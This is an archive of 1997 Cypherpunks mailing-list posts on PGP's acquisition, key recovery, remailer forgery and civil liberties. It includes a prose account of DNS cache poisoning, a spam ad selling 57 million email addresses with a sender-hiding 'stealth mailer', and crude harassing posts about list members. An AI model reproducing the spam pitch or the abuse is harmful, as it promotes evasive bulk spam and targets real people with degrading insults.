Pretty Good Privacy (PGP) Network Associates Extends Enterprise Offerings with Leading Security Software SANTA CLARA, Calif., Dec. 1, 1997 Network Associates, Inc. Nasdaq: NETA, commencing Dec. 2), formerly McAfee Associates (Nasdaq: MCAF) announced today that it has a signed a definitive agreement to acquire privately-held Pretty Good Privacy, Inc. (PGP). The PGP acquisition extends Network Associates' network security and management software products with the leading applied cryptographic security solutions for protecting corporate assets and enabling secure electronic communication. From ngpsstoi at pacific.net.sg Mon Dec 1 18:31:13 1997 From: ngpsstoi at pacific.net.sg (Ng Pheng Siong) Date: Tue, 2 Dec 1997 10:31:13 +0800 Subject: Kashpureff stuff online In-Reply-To: <3.0.2.32.19971201000503.0069ca58@pop.sirius.com> Message-ID: <199712020217.KAA16801@pop2.pacific.net.sg> > So what did Kashpureff do? Who is Kashpureff? Is he the guy at > Alternic who did some advanced DNS hacking to get Internic DNS root to > point to him? Or something else? Yup, that's him. IIRC, he exploited Bind's failure to check input in certain cases: He set his DNS server to be the delegating authority for .com, say; then sent a recursive query to his victim's DNS server to get the victim to query _his_ server; his server mixed the bogus info into its response to the query, thus poisoning the victim's DNS. Cypherpunks write code. Crackerpunks read code. Ng Pheng Siong From whgiii at invweb.net Mon Dec 1 19:48:21 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Tue, 2 Dec 1997 11:48:21 +0800 Subject: PGP bought by McAfee In-Reply-To: <348356EF.21C4@ix.netcom.com> Message-ID: <199712020326.WAA32704@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <348356EF.21C4 at ix.netcom.com>, on 12/01/97 at 07:31 PM, steve said: >>"Network Associates, Inc. >>(Nasdaq: NETA, commencing Dec. 2), formerly McAfee Associates >>(Nasdaq: MCAF), announced today that it has a signed a definitive >>agreement to acquire privately-held Pretty Good Privacy, Inc. (PGP)." >Varous Questions, comments rants, etc.: >Does anyone know how this will affect PGP's: >security, commitment to no-GAK, Founder (P. Zimmerman), the continuation >of the PGP product line? >I heard that McAfee's PCCrypto product will still be sold by NETA as a >retail product, (are they considering >incorperating the 2 together and just using PGP's team for R&D?) >steve It does bring up quite a few questions. Things like source code releases, commitiment to OpenPGP, Freeware for non comercial use. Should make for an intresting OpenPGP BOF in DC next week. :) "May you live in intresting times" -- Chinese curse/blessing - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIN/uo9Co1n+aLhhAQIxiwP6AmYLn/k7wuK3yvHbVI6Vnpw0dEiApmQ+ QkZBNm6FflxZgfpWTss5FQWgb9hPO770cn4esr1ZIpTPzD4Lv32b1QkBjP5UWnJc s/i3rP9ueUQv/AmC9ErEHEUgZoWKlJ/mwSszzWf1UDSHoWqU6WlhHk74FtBrjDoQ n46FGvLWzvQ= =5KlR -----END PGP SIGNATURE----- From declan at well.com Mon Dec 1 19:52:22 1997 From: declan at well.com (Declan McCullagh) Date: Tue, 2 Dec 1997 11:52:22 +0800 Subject: "Berman expressed frustration with the ACLU's criticisms" Message-ID: [More examples of the split within the "cyber-rights" community. --Declan] ===================== Chicago Tribue, November 30, 1997 HEADLINE: MANY VIEWS COULD SNARL 3-DAY WEB CONFERENCE; HOW TO SHIELD CHILDREN THE BIGGEST ISSUE BYLINE: By Frank James and Shirley Brice, Washington Bureau. DATELINE: WASHINGTON BODY: [...] One of the conference's main themes will be educating parents about how filtering software can help them "keep their children out of the red-light district," Berman said. The emphasis on the use of filtering software and expected talk about Internet ratings systems has prompted the American Civil Liberties Union to dub the event the "censorware summit." The ACLU, which played a major role in opposing the decency act, doesn't oppose filtering software in principle, but it asserts that parents who buy it should be able to learn exactly what sites the software blocks and what criteria were used in deciding to block those sites. [...] Barry Steinhardt, associate director of the ACLU, fears that eventually there would be "one or two centralized ratings systems that will reflect particular moral values and have the effect of limiting the breadth and variety of speech on the Internet." "The way these rating systems are going to work," he said "is that parties other than (consumers) are going to decide whether to employ the ratings systems. Sites that are rated unfavorably are going to be blocked out, rendered invisible to the average user." Berman expressed frustration with the ACLU's criticisms. "The court said there were less restrictive ways than government censorship, and they pointed at these filtering tools. It was endorsed by the Supreme Court 9-0. If you take those tools away, what do parents do?" The conference's organizers, Berman said, also want to let parents know about the efforts of companies with major Internet presences to make the Web more family-friendly. [...] From phelix at vallnet.com Mon Dec 1 19:54:19 1997 From: phelix at vallnet.com (phelix at vallnet.com) Date: Tue, 2 Dec 1997 11:54:19 +0800 Subject: PGP bought by McAfee In-Reply-To: <348356EF.21C4@ix.netcom.com> Message-ID: <348482a8.17218254@128.2.84.191> On 1 Dec 1997 21:30:35 -0600, steve wrote: > >>"Network Associates, Inc. >>(Nasdaq: NETA, commencing Dec. 2), formerly McAfee Associates >>(Nasdaq: MCAF), announced today that it has a signed a definitive >>agreement to acquire privately-held Pretty Good Privacy, Inc. (PGP)." > >Varous Questions, comments rants, etc.: > >Does anyone know how this will affect PGP's: >security, commitment to no-GAK, Founder (P. Zimmerman), the continuation >of the PGP product line? > >I heard that McAfee's PCCrypto product will still be sold by NETA as a >retail product, (are they considering >incorperating the 2 together and just using PGP's team for R&D?) > >steve Even more basic questions: Will NETA release source code? Will they continue to develop freeware versions of PGP? What conections does NETA have to S/MIME? What happens to licensing of things like PGPsdk and the freeware versions of PGP? Will PGP be seen as a "dead-end" product by potential new users. What will happen to Open-PGP email encryption standard? This is not good. -- Phelix From jf_avon at citenet.net Mon Dec 1 19:58:04 1997 From: jf_avon at citenet.net (Jean-Francois Avon) Date: Tue, 2 Dec 1997 11:58:04 +0800 Subject: Fwd: Japs and the UN Message-ID: <199712020348.WAA29747@cti06.citenet.net> ==================BEGIN FORWARDED MESSAGE================== >Return-Path: >Received: from falcon.adelaide.on.net by cti02.citenet.net (4.1/SMI-4.1) > id AA11267; Sun, 30 Nov 97 17:19:02 EST >Resent-Date: Mon, 01 Dec 1997 08:45:53 +1030 >Resent-From: Sporting.Shooters.Association at adelaide.on.net >Resent-Message-Id: <9711302219.AA11267 at cti02.citenet.net> >Received: from default (ppp253.adelaide.on.net.au) > by adelaide.on.net (PMDF V5.1-10 #25974) > with SMTP id <01IQNJH3VW8Q00CE9B at adelaide.on.net> > (original mail from ssa at adelaide.on.net) for jf_avon at citenet.net; Mon, > 1 Dec 1997 08:46:02 +0930 >Date: Mon, 01 Dec 1997 08:45:53 +1030 >From: ALERT >Subject: Japs and the UN >To: ssaa-alerts at adelaide.on.net >Resent-Reply-To: Sporting.Shooters.Association at adelaide.on.net >Reply-To: Sporting.Shooters.Association at adelaide.on.net >Message-Id: <3481E599.D57 at adelaide.on.net> >Organization: Sporting Shooters Association of Australia >Mime-Version: 1.0 >X-Mailer: Mozilla 3.01 (Win95; I) >Content-Type: text/plain; charset=us-ascii >Content-Transfer-Encoding: 7bit >Comments: Sporting Shooters Association ALERTS mailing list >X-UIDL: 6ab40261c41b93db3a6bd1fed4a9e264 > "Japan paid salaries to officials on loan to U.N." .c Kyodo News Service TOKYO, Nov. 30 (Kyodo) - The Japanese government has paid salaries to its officials on loan to the United Nations for the past 27 years in violation of the U.N. Charter, a national daily reported Sunday. Officials from Japanese ministries and agencies on loan to the world body receive salaries from the U.N. as well as salaries from the Japanese government, the Mainichi Shimbun said in a report from Geneva. The government has paid billions of yen for more than 1,000 officials from Japan's ministries and agencies after a law, stipulating government officials dispatched to international institutions be paid 70 to 100% of the salaries paid in Japan, took effect in 1971, the Mainichi said. The U.N. Charter and U.N. staff regulations ban receiving payment from any government to maintain its independence. An official at the National Personnel Authority was quoted as saying half the Japanese officials on U.N. assignments are paid 100 % of their home salary amount. Tsukasa Kawada, director of the Foreign Ministry's U.N. Administration Division, was quoted as telling the Mainichi the payments are aimed at guaranteeing the status of officials on loan by continuing their pension and insurance fees' benefit and are not rewards for their duties in the U.N. AP-NY-11-29-97 2338EST ===================END FORWARDED MESSAGE=================== -- Jean-Francois Avon, Pierrefonds(Montreal) QC Canada DePompadour, Societe d'Importation Ltee Finest of Limoges porcelain and crystal JFA Technologies, R&D consultants physicists and engineers, LabView programing. PGP encryption keys at: http://w3.citenet.net/users/jf_avon http://bs.mit.edu:8001/pks-toplev.html ID# C58ADD0D : 529645E8205A8A5E F87CC86FAEFEF891 ID# 5B51964D : 152ACCBCD4A481B0 254011193237822C From ravage at ssz.com Mon Dec 1 20:08:24 1997 From: ravage at ssz.com (Jim Choate) Date: Tue, 2 Dec 1997 12:08:24 +0800 Subject: PGP bought by McAfee (fwd) Message-ID: <199712020406.WAA08495@einstein.ssz.com> [Identities removed to protect the innocent] Forwarded message: > >Does anyone know how this will affect PGP's: > >security, commitment to no-GAK, Founder (P. Zimmerman), the continuation > >of the PGP product line? > > > >I heard that McAfee's PCCrypto product will still be sold by NETA as a > >retail product, (are they considering > >incorperating the 2 together and just using PGP's team for R&D?) > > > Even more basic questions: Will NETA release source code? Will they > continue to develop freeware versions of PGP? What conections does NETA > have to S/MIME? What happens to licensing of things like PGPsdk and the > freeware versions of PGP? Will PGP be seen as a "dead-end" product by > potential new users. What will happen to Open-PGP email encryption > standard? > > This is not good. What's the matter? Finding a free market economy monopolize right in front of your eyes just a tad uncomfortable? Cyber-anarchy in action... ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From whgiii at invweb.net Mon Dec 1 20:14:38 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Tue, 2 Dec 1997 12:14:38 +0800 Subject: PGP Inc Sold for $35M - News Flash In-Reply-To: Message-ID: <199712020407.XAA00317@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In , on 12/01/97 at 06:13 PM, Alan said: >On Mon, 1 Dec 1997, Vin McLellan wrote: >> >> >> "PGP acquired by merged security software firm. >> >> "Pretty Good Privacy, an encryption company foundered by crypto pioneer >> Phil Zimmermann, has been acquired by Network Associates, the result of the >> merger of McAfee Associates and Network General, which closed today. >> >> "Network Associates will pay $35 million in cash for PGP. " >Not good news. As I remember McAfee was one of the "Key Recovery Aliance >Partners". They sure are. :( This does not look good at all. :((( http://www.kra.org/roster.html Key Recovery Alliance Members * = Charter Members America Online, Inc. Apple Computer, Inc. * American Express Corp. Atalla * Baltimore Technologies Boeing Candle Corporation CertCo Certicom Compaq Computer Corp. Cryptomathic CygnaCom Sulutions, Inc. Cylink Corp. DASCOM, Inc. Data Securities International, Inc. Digital Equipment Corporation * Digital Secured Networks Technology, Inc. Digital Signature Trust Company Entrust Technologies First Data Corp. Fort Knox Escrow Services, Inc. Frontier Technologies Corp. Fujitsu, Ltd. GemPlus Gradient Technologies, Inc. Groupe Bull * Hewlett-Packard * Hitachi IBM * ICL IRE Intel Corporation McAfee Mitsubishi Corporation of Japan Mitsubishi Electric America Motorola Mykotronx Mytec Technologies, Inc. nCipher Corp. NCC Escrow NCR Corporation * NEC Network Systems Group of Storage Tek Novell, Inc. Open Horizon, Inc. Portland Software PSA Price Waterhouse Racal Data Group Rainbow Technologies RedCreek Communications RPK RSA * SafeNet Trusted Services, Corp. Secure Computing Corporation Siemens AG Silicon Graphics, Inc. SourceFile Spyrus Sterling Commerce Sun Microsystems * Tandem Technical Communications Corp. The Santa Cruz Operation, Inc. Toshiba Trusted Information Systems, Inc. * Unisys UPS * Utimaco Mergent VPNet Technologies - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIOJJo9Co1n+aLhhAQJlJAP9FL+MvHla+Xpa4ZPKFNcLT0IUp8QYs/QR UG912fUE3vn3KhOAE6Vv3wDfafREKWlzbFwCz3WbnKEv09G9vCAJ+YiXo2QWs3sQ W6WD6ucf0+I1DFtoPJ9jLqWecKw//XMeLbdnNvH9Fxp4eR0zEzz57LNzTzJBqfID /tuRl/GbQhw= =w6jw -----END PGP SIGNATURE----- From vin at shore.net Mon Dec 1 20:33:06 1997 From: vin at shore.net (Vin McLellan) Date: Tue, 2 Dec 1997 12:33:06 +0800 Subject: PGP Inc Sold for $35M - News Flash In-Reply-To: Message-ID: WSJ Article, by Lisa Bransten (WSJ Interactive Edition) "McAfee Announces Name Change, Acquisition of Pretty Good Privacy" McAfee Associates Inc., a Santa Clara, Calif., maker of network-security software, said Monday that it agreed to acquire Pretty Good Privacy Inc., a privately held maker of encryption software, in a deal valued at $36 million. Separately, McAfee completed its acquisition of Network General and said it was officially changing its name to Network Associates Inc. [snip...] One investment banker estimated PGP's revenue at almost $8 million this year and at as much as $18 million next year. [Network Associates Chairman and CE0 Bill] Larson said Network Associates made an all-cash offer for PGP because of the low price of shares of McAfee (now Network Associates). Mr. Larson called the acquisition "a reflection of how significant an opportunity we see in the security market." Mr. Larson called PGP a "neophyte" but also "a strategic player" in security software, adding that Network Associates "will be a player in this market." [snip...] PGP, based in San Mateo, Calif., was once a leading contender for an initial public offering but ran into troubles in the middle of the year as sales stagnated and a planned acquisition of software company Zoomit Corp. fell apart. Zoomit makes software that allows for easy communication across different networks. PGP founder and chief technologist Philip Zimmermann has developed something of a cult following among software programmers and cyber-rights activists since the early 1990s, when he started giving away his Pretty Good Privacy program, which allows computer users to encrypt electronic messages sent over the Internet. Mr. Zimmermann distributed the software for free in order to get it into the most users' hands amid growing concerns that governments would try to limit the use of encryption technology, fearful that such technology would stymie law-enforcement agencies' efforts. Appetite for the software proved large and millions of copies of the software were downloaded by users around the world. Mr. Zimmermann's case became a cause celebre among activists when the Justice Department opened an investigation of him for allowing the software to be distributed internationally. Although the government allows the use of such encryption technologies in the U.S., it doesn't allow the export of strong-encryption software except in special circumstances. In 1996, the government dropped its investigation of Mr. Zimmermann, and in March of that year he and several partners incorporated PGP to sell commercial versions of the software to large corporations interested in security. Mr. Zimmermann will stay with the company as a Network Associates Fellow. [snip...] "We get a great group of leading cryptographers," [Larsen] said. "There are very few of these people in the world, and PGP has always been a magnet for [them.]" PGP, which has about 50 employees, has fought to have its encryption software adopted as a standard, but software giants Microsoft Corp. and Netscape Communications Corp. have both licensed the encryption software of PGP rival RSA Data Security Inc., which was itself purchased last year by Security Dynamics Technologies Inc. Before Monday's announcement, several observers had said that PGP and McAfee would be a logical combination because companies are looking for software that can address more than one of their security and networking needs. Also, PGP's encryption technology and large installed user base could bolster McAfee's recent entry into that field, they said. PGP has "good brand recognition and good technology, but no marketing muscle," said one industry watcher. "If PGP's encryption standard is going to compete, they need a distribution partner like McAfee behind them." Shares of Network Associates will begin trading under the new Nasdaq symbol NETA on Tuesday. /end - WSJ Interactive, Bransten text/ Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 -- <@><@> -- From ravage at ssz.com Mon Dec 1 20:33:07 1997 From: ravage at ssz.com (Jim Choate) Date: Tue, 2 Dec 1997 12:33:07 +0800 Subject: Cypherpunks, PGP Buyout, & Writing Code... Message-ID: <199712020440.WAA08621@einstein.ssz.com> Perhaps the buy-out of PGP is a good thing. Consider that now there is a clear and present motive for Cypherpunks to start writing the next wave of world-class crypto...it really is the *only* shure way that the process doesn't get subverted...we're no longer able to rely on a single commen source of crypto tools. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From tcmay at got.net Mon Dec 1 21:02:35 1997 From: tcmay at got.net (Tim May) Date: Tue, 2 Dec 1997 13:02:35 +0800 Subject: More Government Sanctioned Theft In-Reply-To: <65k64e$coq@snews3.zippo.com> Message-ID: At 2:16 PM -0700 12/1/97, Igor Chudov @ home wrote: >[This message has also been posted.] >In ok.general, Jerry Morgan wrote: >* easttom at redriverok.com (Chuck Easttom) wrote: >* > 2. What the hell legit reason is there for a man to be driving >around with >* >132 K in a truck?? >* > >* >* The simple possession of any amount of money is not subject to "police >* approval", unless of course we are living in a police state. >* >* As I understand the "story" the police stopped the guy, searched the >* car, found the money, seized it and then let the guy go without >* charging him with anything. A nice cool 132K profit for a few minutes >* work, just like an armed robbery. It would appear that this "cops and >* robbers scenario" has the cops playing both roles.S This is becoming all too common (cf. online reports, and some good t.v. investigative shows which detailed how this shakedown operation works in many states). As to the question above, "2. What the hell legit reason is there for a man to be driving around with * >132 K in a truck??," this shows the dire state we are in today. After all, what the hell business is it of government/police to tell a person what they may do with their money? If I want to push my money around in a wheel barrow, it may be stupid, but if cops seize it then they are just thieves, plain and simple. (Arguments that the money "must have" been stolen, or to be used for an illegal transaction, or whatever, are meaningless. Unless the money can be shown to be stolen, or unless the person being stopped is actually shown to be in an illegal transaction (not that I support such laws, mind you), the cops can do nothing.) However, cash is on the way toward being outlawed. De facto, if not de jure. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at REPLAY.COM Mon Dec 1 21:02:43 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 2 Dec 1997 13:02:43 +0800 Subject: Kashpureff stuff online Message-ID: <199712020446.FAA11464@basement.replay.com> Anyone know of any low S/N lists out there for "Crackerpunks"?? > > > So what did Kashpureff do? Who is Kashpureff? Is he the guy at > > Alternic who did some advanced DNS hacking to get Internic DNS root to > > point to him? Or something else? > > Yup, that's him. > > IIRC, he exploited Bind's failure to check input in certain cases: > He set his DNS server to be the delegating authority for .com, > say; then sent a recursive query to his victim's DNS server to get > the victim to query _his_ server; his server mixed the bogus info > into its response to the query, thus poisoning the victim's DNS. > > Cypherpunks write code. > Crackerpunks read code. > > > > > Ng Pheng Siong > > From JonWienk at ix.netcom.com Mon Dec 1 21:15:13 1997 From: JonWienk at ix.netcom.com (Jonathan Wienke) Date: Tue, 2 Dec 1997 13:15:13 +0800 Subject: Pasting in From: In-Reply-To: Message-ID: <3.0.3.32.19971201204450.006c596c@popd.netcruiser> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 12:03 PM 12/1/97 -0800, stewarts at ix.netcom.com wrote: >Besides Usenet, other popular tactics for retribution are >sending death threats to politicians, sending child pornography >to mailing lists, forging messages _from_ politicians, etc. >Disclaimer/warning headers help, but can't stop it all. > >At 10:07 AM 12/01/1997 -0500, Andy Dustman wrote: >>Two basic points also about "forgeries". First, you can forge headers >>pretty easily without any programs other than telnet. Second, if this > >This was before Gary Burnore's attacks on the remailer networks, >but it's also an obvious tactic for either flamers or Feds to use >for getting remailers shut down. If somebody forges a Usenet posting >with telnet, it's not _your_ problem (usually). If they use your remailer, >it is your problem. And if they get remailers closed down a lot, >it's all of our problems. > >>2) Whenever a From: line is pasted, a disclaimer will be inserted at the >>top of the body, stating that the original sender has set the From: line, >>and that the identification cannot be verified. The fact that it is up at >>the top of the body should mean people should actually see it before >>reacting. > >It's worth also repeating it at the bottom. Putting it in the headers >is invisible with most newsreaders, though. > >By the way, one technical risk with From:-pasting is that you need to >parse or substitute special characters including parens and anglebrackets. >Otherwise it's easy for people to paste in syntactically incorrect headers, >which really annoy some gateways and mail clients - nested parens are >a particular problem. > >Basically, I think you're getting yourself in for excitement >and adventure and really wild stuff by supporting this :-) Sounds like a good reason for remailers to use throwaway email accounts at Juno, MailExcite, Yahoo, etc. as their exit points. Wasn't somebody working on this? -----BEGIN PGP SIGNATURE----- Version: PGP for Business Security 5.5 iQA/AwUBNIOSQcJF0kXqpw3MEQKcHACg+nSiTVlonZCH3hUhRQ2+DXYTtIcAoOTf DVa/LBltFF527mdtcs3adDsR =6WNy -----END PGP SIGNATURE----- Jonathan Wienke PGP Key Fingerprints: 7484 2FB7 7588 ACD1 3A8F 778A 7407 2928 3312 6597 8258 9A9E D9FA 4878 C245 D245 EAA7 0DCC "If ye love wealth greater than liberty, the tranquility of servitude greater than the animating contest for freedom, go home from us in peace. We seek not your counsel, nor your arms. Crouch down and lick the hand that feeds you. May your chains set lightly upon you; and may posterity forget that ye were our countrymen." -- Samuel Adams "Stupidity is the one arena of of human achievement where most people fulfill their potential." -- Jonathan Wienke Never sign a contract that contains the phrase "first-born child." RSA export-o-matic: print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 TEST ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From gunther at witcapital.com Mon Dec 1 22:38:49 1997 From: gunther at witcapital.com (gunther at witcapital.com) Date: Tue, 2 Dec 1997 14:38:49 +0800 Subject: Public Venture Capital Alert: Sandbox Entertainment available through Wit Capital Message-ID: <199712020622.WAA24917@toad.com> Wit Capital Corporation is pleased to announce that we are able to provide first-come first-serve participation in the following public offering as described below: Issuer: Sandbox Entertainment is a Phoenix-based software development company that uses proprietary technology to provide games and simulations on the World Wide Web. Sandbox's flagship products are CNN/SI's SportSim (sm), an online fantasy sports game, and CNNfn's Final Bell (sm), an online stock market simulation. Security: Series B Convertible Preferred Stock Expected Size of Offering: 654,000 shares Expected Price Range: $6.75 to $8.50 Lead Underwriter: Wit Capital Corporation If you think you may be interested in this Public Offering available through Wit Capital, please visit http://www.witcapital.com/sand1.html or call (888) 4-WIT-CAP. You can view, print or download the Preliminary Prospectus from the New Issues Section of our website. To purchase shares, you must first open an account, which you can do online. Investing in public offerings is speculative, involves a high degree of risk and may not be appropriate for every investor. As with all of your investments with Wit Capital, you must make your own determination of whether an investment in this offering is consistent with your investment objectives and risk tolerance. To learn more about the risks of investing in public offerings please visit the New Issues Section of our website. A REGISTRATION STATEMENT RELATING TO THESE SECURITIES HAS BEEN FILED WITH THE SECURITIES AND EXCHANGE COMMISSION BUT HAS NOT YET BECOME EFFECTIVE. THESE SECURITIES MAY NOT BE SOLD NOR MAY OFFERS TO BUY BE ACCEPTED PRIOR TO THE TIME THE REGISTRATION STATEMENT BECOMES EFFECTIVE. THIS COMMUNICATION SHALL NOT CONSTITUTE AN OFFER TO SELL OR THE SOLICITATION OF AN OFFER TO BUY, NOR SHALL THERE BE ANY SALE OF THESE SECURITIES IN ANY JURISDICTION IN WHICH SUCH OFFER, SOLICITATION OR SALE WOULD BE UNLAWFUL PRIOR TO REGISTRATION OR QUALIFICATION UNDER THE SECURITIES LAWS OF SUCH JURISDICTION. NO OFFER TO BUY THE SECURITIES CAN BE ACCEPTED AND NO PART OF THE PURCHASE PRICE CAN BE RECEIVED UNTIL THE REGISTRATION STATEMENT BECOMES EFFECTIVE, AND ANY SUCH OFFER MAY BE WITHDRAWN AND REVOKED WITHOUT OBLIGATION OR COMMITMENT OF ANY KIND, AT ANY TIME PRIOR TO NOTICE OF ITS ACCEPTANCE GIVEN AFTER THE EFFECTIVE DATE. AN INDICATION OF INTEREST IN RESPONSE TO THIS RESPONSE TO THIS ADVERTISEMENT WILL INVOLVE NO OBLIGATION OR COMMITMENT OF ANY KIND. A broker dealer or its agent may only transact business in a state after licensure or satisfying qualification requirements of that state. If you reside in a particular state that Wit Capital is not registered in as a broker dealer or has registered agents in, this message is not directed to you. Wit Capital will not open a brokerage account or sell securities to you until such time registration requirements in your home state are fulfilled. Thank you. Wit Capital Corporation Member NASD/SIPC From 47058560 at compuserve.com Tue Dec 2 15:14:02 1997 From: 47058560 at compuserve.com (47058560 at compuserve.com) Date: Tue, 2 Dec 1997 15:14:02 -0800 (PST) Subject: Email your AD to 57 MILLION People for ONLY $99 Message-ID: <221531531352.CAA25231@mkkkdtinggs.com> Email your AD to 57 MILLION People for ONLY $99 removal instructions below 57 MILLION EMAILS FOR ONLY $99 INCLUDES STEALTH MAILER That's right, I have 57 Million Fresh email addresses that I will sell for only $99. These are all fresh addresses that include almost every person on the internet today, with no duplications. They are all sorted and ready to be mailed. That is the best deal anywhere today ! Imagine selling a product for only $5 and getting only a 1/10% response. That's $2,850,000 in your pocket !!! Don't believe it? People are making that kind of money right now by doing the same thing, that is why you get so much email from people selling you their product....it works ! I will even tell you how to mail them with easy to follow step-by-step instruction I include with every order. These 57 Million email addresses are yours to keep, so you can use them over and over and they come on 1 CD. I will also include the stealth mailer - this is a full version of the incredibly fast mailing program that hides your email address when you send mail so no one will find out where it came f! rom and you won't lose your dial up account. The stealth mailer is an incredible program and absolutly FREE with your order ! If you are not making at least $50,000 a month, then ORDER NOW. ORDER NOW BY FAX: Simply print out this order form and fax it to us along with your check made payable to: Future WT for only $99. Our Fax # is: 602 348 2955 We will confirm your order by email and then mail your cd out the same day via priority mail. Name:_____________________________ Street Address:______________________________ City:_____________________ State:________________ZipCode:_____________ Phone number:__________________________ Email:_______________________________ You do not need to send the actual check, we will create a draft. Returned checks are subject to $25 NSF Fee. Fax it to 602 348 2955 Or You can mail a check or money order to: FutureWT 15560 N. Frank Lloyd Wright #b-4187 Scottsdale, AZ 85260 If you want to be removed from our mailing list just send a email here 57 million plus mailing program for only $99 From nobody at REPLAY.COM Tue Dec 2 00:56:26 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 2 Dec 1997 16:56:26 +0800 Subject: PGP User's Guide 2.6.2 Message-ID: <199712020837.JAA05430@basement.replay.com> Where can I find a copy? From davidlu at sco.COM Tue Dec 2 01:33:56 1997 From: davidlu at sco.COM (David Lucas) Date: Tue, 2 Dec 1997 17:33:56 +0800 Subject: Big Brother Is Watching ATMs In-Reply-To: <3.0.3.32.19971130213445.006ad57c@popd.netcruiser> Message-ID: <3.0.5.32.19971202091736.00828100@middx.x.co.uk> At 10:50 01/12/97 -0500, you wrote: >G'day Jonathan, > > Could you please identify this "bank card company" by name, card, >nation, etc. ? In the UK, it was announced that the Nationwide Building Society was implementing such a scheme. Exactly where in the UK this happening, I do not know. From nobody at REPLAY.COM Tue Dec 2 03:13:47 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 2 Dec 1997 19:13:47 +0800 Subject: RSA Message-ID: <199712021055.LAA19014@basement.replay.com> Tim C[retin] May studied yoga back-streching exercises for five years so he could blow himself (nobody else will). (((> /< ( / ((({{{{{:< Tim C[retin] May \ \< From tm at dev.null Tue Dec 2 03:42:34 1997 From: tm at dev.null (TruthMonger) Date: Tue, 2 Dec 1997 19:42:34 +0800 Subject: Is Anonymous guilty of immorally advocating morality? In-Reply-To: <199712012255.XAA26038@basement.replay.com> Message-ID: <3483F266.1028@dev.null> Why is it that people on a moral high-horse always seem to think that that those are 'pearls of wisdom' dropping from their horse's hind-end? Anonymous, dripping cum from the edges of a happy mouth, slurred: > There's a fallacy which is quite common on this list, especially among > members whose positions are otherwise indefensible. Sounds like shit-for-brains is about to launch another character assault in the name of truth, righteousness and good dental hygene. > On this list we see the same fallacy, turned around: if it is legal, it > must be moral. Someone is attacked for posting some vicious, hateful, > immoral rant, and they respond that what they said was legal, because of > freedom of speech and the First Amendment. Their critic must be opposed > to free speech if he objects to their words. As opposed to your own vicious, hateful, 'moral' rants against vicious, hateful, 'immoral' rants? > Confusing what is legal and what is moral is a dangerous game. It leads > to the false reasoning of the statists. We must remember that there is > a clear distinction between morality and legality. Are you a kindergarten teacher? Do you have a chart where you are placing different colored stars beside the list members names? > We all agree with freedom of speech. No we don't. Shut the fuck up! > But this does not mean that all speech is equally valid. Did you take a statement that had meaning and edit it to come up with this one? Time flies like an arrow--fruit flies like a banana. OK, _your_ turn again... > Cypherpunks are intelligent enough not to be fooled by this attempt > to use the principle of free speech to justify calls for violence and > murder. CypherPunks are intelligent enough to realize that calls for violence and murder, like the acts themselves, do not need justification. Didn't your parents teach you that the justification for everything is, "Because I said so!"? > It's no wonder, really, that people like May and Vulis attempt to confuse > the issue by pretending that their critics are opposed to freedom of > speech. You seem to have a desperate need to explain to the rest of the list readers exactly what it is they are reading and what it means. You must be a lot of fun to go to a movie with. >They know that if they are judged by their own words, their > character is revealed for all to see. Any smokescreen is welcome if it > helps conceal their vicious, hateful nature. Give it a fucking break... If you are going to piss on someone on this list, please make an effort to do a decent job of it. Lame, smarmy character assassinations such as yours only serve to accentuate your envy of others for their ability to exercise their vicious, hateful nature more potently than yourself. Go give your morality speeches to your kindergarten class while you play with their little bums. TruthMonger From brianbr at together.net Tue Dec 2 05:02:41 1997 From: brianbr at together.net (Brian B. Riley) Date: Tue, 2 Dec 1997 21:02:41 +0800 Subject: More Government Sanctioned Theft Message-ID: <199712021249.HAA26733@mx02.together.net> On 12/1/97 4:16 PM, Igor Chudov @ home (ichudov at www.video-collage.com) passed this wisdom: >In ok.general, Jerry Morgan wrote: >* easttom at redriverok.com (Chuck Easttom) wrote: >* > 2. What the hell legit reason is there for a man to be driving 